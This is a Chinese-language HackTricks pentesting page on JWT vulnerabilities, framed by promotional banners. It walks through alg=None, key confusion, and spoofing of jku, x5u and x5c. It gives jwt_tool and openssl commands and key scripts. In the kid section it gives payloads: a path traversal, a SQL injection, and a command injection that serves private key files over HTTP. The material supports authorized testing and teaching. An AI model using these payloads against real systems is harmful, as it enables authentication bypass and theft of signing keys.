15 KiB
JWT漏洞(Json Web Tokens)
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 探索PEASS家族,我们的独家NFTs
- 加入 💬 Discord群组 或 电报群组 或 关注我们的Twitter 🐦 @carlospolopm。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
赏金提示:注册Intigriti,这是一家由黑客创建的高级赏金平台!立即加入我们,访问https://go.intigriti.com/hacktricks,开始赚取高达**$100,000**的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
本文的部分内容基于这篇精彩的文章: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWT渗透测试工具的作者 https://github.com/ticarpi/jwt_tool
快速成功
运行jwt_tool,选择All Tests!
模式,等待出现绿色行。
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
如果你很幸运,工具会发现某些情况下网页应用程序未正确检查 JWT:
然后,你可以在代理中搜索该请求,或使用 jwt_tool 软件来转储用于该请求的 JWT:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
不修改任何内容的数据篡改
您可以仅篡改数据,保持签名不变,并检查服务器是否在检查签名。尝试将您的用户名更改为"admin"。
令牌是否被验证?
要检查JWT签名是否被验证:
- 错误消息表明正在进行验证;应仔细查看详细错误中的敏感信息。
- 返回页面的变化也表明正在进行验证。
- 没有变化表明没有验证;这时可以尝试篡改有效载荷声明。
来源
通过检查代理的请求历史记录,确定令牌是在服务器端生成还是在客户端生成。
- 首次出现在客户端的令牌表明密钥可能暴露给了客户端代码,需要进一步调查。
- 从服务器端起源的令牌表明是一个安全的过程。
时长
检查令牌是否持续超过24小时...也许它永不过期。如果有一个"exp"字段,请检查服务器是否正确处理它。
暴力破解HMAC密钥
将算法修改为None (CVE-2015-9235)
将使用的算法设置为"None"并移除签名部分。
使用Burp扩展程序调用"JSON Web Token"来尝试此漏洞,并更改JWT内部的不同值(将请求发送到Repeater,在"JSON Web Token"选项卡中可以修改令牌的值。您还可以选择将"Alg"字段的值设置为"None")。
将算法从RS256(非对称)更改为HS256(对称)(CVE-2016-5431/CVE-2016-10555)
算法HS256使用密钥对每条消息进行签名和验证。
算法RS256使用私钥对消息进行签名,并使用公钥进行身份验证。
如果将算法从RS256更改为HS256,后端代码将使用公钥作为密钥,然后使用HS256算法来验证签名。
然后,使用公钥并将RS256更改为HS256,我们可以创建一个有效的签名。您可以检索执行此操作的Web服务器的证书:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
头部中的新公钥
攻击者将一个新的密钥嵌入令牌的头部,服务器使用这个新密钥来验证签名(CVE-2018-0114)。
这可以通过"JSON Web Tokens" Burp扩展完成。
(将请求发送到Repeater,在JSON Web Token选项卡中选择"CVE-2018-0114",然后发送请求)。
JWKS欺骗
说明详细介绍了一种评估JWT令牌安全性的方法,特别是那些使用"jku"头声明的令牌。该声明应链接到一个包含令牌验证所需的公钥的JWKS(JSON Web Key Set)文件。
-
评估具有"jku"头的令牌:
-
验证"jku"声明的URL,确保它指向适当的JWKS文件。
-
修改令牌的"jku"值,指向一个受控的Web服务,允许观察流量。
-
监视HTTP交互:
-
观察HTTP请求到您指定的URL,指示服务器尝试从您提供的链接获取密钥。
-
在这个过程中使用
jwt_tool
时,需要将jwtconf.ini
文件更新为您个人的JWKS位置,以便进行测试。 -
jwt_tool
的命令: -
执行以下命令以使用
jwt_tool
模拟场景:
python3 jwt_tool.py JWT_HERE -X s
Kid问题概述
一个可选的头声明称为kid
用于标识特定密钥,在存在多个密钥用于令牌签名验证的环境中尤为重要。该声明有助于选择适当的密钥来验证令牌的签名。
通过"kid"揭示密钥
当头部中存在kid
声明时,建议搜索相应文件或其变体的Web目录。例如,如果指定了"kid":"key/12345"
,则应在Web根目录中搜索文件_/key/12345_和_/key/12345.pem_。
使用"kid"进行路径遍历
kid
声明也可能被利用来浏览文件系统,可能允许选择任意文件。可以通过修改kid
值以针对特定文件或服务进行测试,从而测试连通性或执行服务器端请求伪造(SSRF)攻击。通过在jwt_tool中使用-T
标志来篡改JWT以更改kid
值,同时保留原始签名,如下所示:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
通过针对具有可预测内容的文件,可以伪造有效的JWT。例如,在Linux系统中,已知包含值2的/proc/sys/kernel/randomize_va_space
文件可以在kid
参数中使用2作为对称密码用于JWT生成。
通过"kid"进行SQL注入
如果kid
声明的内容用于从数据库中获取密码,则可以通过修改kid
负载来实现SQL注入。一个使用SQL注入修改JWT签名过程的示例负载包括:
non-existent-index' UNION SELECT 'ATTACKER';-- -
此修改强制使用已知的秘密密钥ATTACKER
进行JWT签名。
通过"kid"进行OS注入
如果kid
参数指定在命令执行上下文中使用的文件路径,则可能导致远程代码执行(RCE)漏洞。通过将命令注入kid
参数,可以暴露私钥。实现RCE和密钥暴露的示例负载如下:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u和jku
jku
jku代表JWK Set URL。
如果令牌使用“jku” Header声明,则检查提供的URL。这应该指向包含用于验证令牌的公钥的JWKS文件的URL。篡改令牌以将jku值指向您可以监视流量的Web服务。
首先,您需要使用新的私钥和公钥创建新证书。
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
然后,您可以使用例如jwt.io来使用创建的公钥和私钥,并将参数jku指向创建的证书来创建新的JWT。为了创建有效的jku证书,您可以下载原始证书并更改所需的参数。
您可以从公钥证书中获取参数"e"和"n":
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
x5u
X.509 URL。指向一组以PEM格式编码的X.509(证书格式标准)公共证书的URI。该组中的第一个证书必须是用于签署此JWT的证书。随后的每个证书都会签署前一个证书,从而完成证书链。X.509在RFC 52807中定义。需要传输安全性来传输证书。
尝试将此标头更改为您控制的URL并检查是否收到任何请求。在这种情况下,您可以篡改JWT。
要使用由您控制的证书伪造新令牌,您需要创建证书并提取公钥和私钥:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
然后,您可以使用例如 jwt.io 来使用创建的公钥和私钥,并将参数 x5u 指向创建的证书 .crt 来创建新的 JWT。
您还可以滥用这两个漏洞进行 SSRF 攻击。
x5c
此参数可能包含以 base64 编码的证书:
如果攻击者生成自签名证书,并使用相应的私钥创建伪造令牌,然后将 "x5c" 参数的值替换为新生成的证书,并修改其他参数,即 n、e 和 x5t,那么伪造的令牌基本上将被服务器接受。
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
嵌入式公钥 (CVE-2018-0114)
如果 JWT 嵌入了公钥,就像以下情况一样:
使用以下的 nodejs 脚本可以从这些数据中生成一个公钥:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
可以生成一个新的私钥/公钥,将新的公钥嵌入令牌中,并使用它来生成一个新的签名:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
您可以使用以下的Node.js脚本获取“n”和“e”:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
JTI (JWT ID)
JTI(JWT ID)声明为JWT令牌提供了一个唯一标识符。它可用于防止令牌被重放。
然而,想象一种情况,ID的最大长度为4(0001-9999)。请求0001和10001将使用相同的ID。因此,如果后端在每个请求中递增ID,您可以滥用此功能来重放请求(需要在每次成功重放之间发送10000个请求)。
JWT Registered claims
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
其他攻击
跨服务中继攻击
已经观察到一些Web应用程序依赖于受信任的JWT服务来生成和管理它们的令牌。已记录到,通过JWT服务为一个客户端生成的令牌被同一JWT服务的另一个客户端接受。如果观察到通过第三方服务发放或更新JWT,则应调查使用相同用户名/电子邮件在该服务的另一个客户端上注册帐户的可能性。然后应尝试在请求目标时重放获得的令牌,以查看是否被接受。
- 令牌被接受可能表示存在严重问题,可能允许欺骗任何用户的帐户。但是,应注意,如果在第三方应用程序上注册,可能需要更广泛的测试权限,因为这可能涉及法律灰色地带。
令牌的到期检查
使用“exp”有效载荷声明检查令牌的到期时间。鉴于JWT经常在没有会话信息的情况下使用,需要谨慎处理。在许多情况下,捕获并重放另一个用户的JWT可能会使该用户被冒充。JWT RFC建议通过利用“exp”声明为令牌设置到期时间来减轻JWT重放攻击。此外,应用程序实施相关检查以确保处理此值并拒绝过期令牌的处理至关重要。如果令牌包含“exp”声明并且测试时间允许,建议存储令牌并在到期时间过去后重放。可以使用jwt_tool的-R标志读取令牌的内容,包括时间戳解析和到期检查(时间戳为UTC时间)。
- 如果应用程序仍然验证令牌,则可能存在安全风险,因为这可能意味着令牌永远不会过期。
工具
{% embed url="https://github.com/ticarpi/jwt_tool" %}
漏洞赏金提示:注册Intigriti,一个由黑客创建的高级漏洞赏金平台!立即加入我们 https://go.intigriti.com/hacktricks,开始赚取高达**$100,000**的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS&HackTricks周边产品
- 发现PEASS家族,我们的独家NFTs收藏品
- 加入 💬 Discord群 或 电报群 或在Twitter 🐦 @carlospolopm上关注我们。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。